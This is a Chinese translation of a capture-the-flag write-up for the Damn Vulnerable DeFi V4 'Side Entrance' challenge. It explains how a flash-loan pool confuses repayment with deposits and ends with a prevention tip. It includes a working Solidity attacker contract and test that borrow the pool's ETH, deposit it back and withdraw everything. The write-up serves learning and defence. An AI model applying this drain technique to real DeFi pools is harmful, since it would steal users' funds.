本文分析了Damn Vulnerable DeFi V4挑战中的Side Entrance漏洞。该漏洞源于合约未能区分“偿还贷款”和“存款”,允许攻击者利用闪电贷,先借出资金并存回,然后在合约账户中获得信用,最后提取所有资金。文章提供了攻击流程以及相应的解决方案,并提出了预防措施,即闪电贷合约应使用transferFrom()函数从用户合约提取资金。
此解释假设你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
一个非常简单的池允许任何人存入 ETH,并在任何时间点提取它。
它已经有 1000 ETH 的余额,并且提供免费的闪电贷,使用存入的 ETH 来推广他们的系统。
你开始时有 1 ETH 的余额。通过从池中救出所有 ETH 并将其存入指定的恢复帐户来通过挑战。
在 flashLoan() 函数中,我们可以看到我们有机会调用我们实现的 execute() 函数。
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
该函数检查我们是否将 ETH 退还给合约,但它不控制我们执行此操作的方式。
根本问题在于合约没有区分“偿还贷款”和“进行存款”——它们都会增加合约的 ETH 余额,但具有非常不同的会计影响。
1. 调用 flashLoan() 从池中借出所有 ETH
2. 在我们的 execute() 函数中,将借来的 ETH 存回池中
3. 池的余额已恢复(通过检查),但现在我们在池的会计系统中有信用额度
4. 调用 withdraw() 排空池中的所有资金
contract MyIFlashLoanEtherReceiver {
SideEntranceLenderPool pool;
address payable recovery;
constructor(address _pool, address payable _recovery) {
recovery = _recovery;
pool = SideEntranceLenderPool(_pool);
}
function callFlashLoan(uint256 amount) external {
pool.flashLoan(amount);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
function withdraw() public {
pool.withdraw();
(bool success, ) = recovery.call{value: address(this).balance}("");
}
receive() external payable {}
}
/**
* CODE YOUR SOLUTION HERE
* 在这里编写你的解决方案
*/
function test_sideEntrance() public checkSolvedByPlayer {
MyIFlashLoanEtherReceiver loanReceiver = new MyIFlashLoanEtherReceiver(address(pool), payable(recovery));
loanReceiver.callFlashLoan(ETHER_IN_POOL);
loanReceiver.withdraw();
}
为了避免像这样的漏洞,闪电贷合约通常使用 transferFrom() 函数从你自己的合约中提取资金,而不是等待你将它们发回。 这确保了闪电贷被视为纯粹的贷款交易,而不会与存款等其他操作混淆。 如果拉取请求失败,贷款将恢复并出现错误。
包含解决方案的 GitHub 仓库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!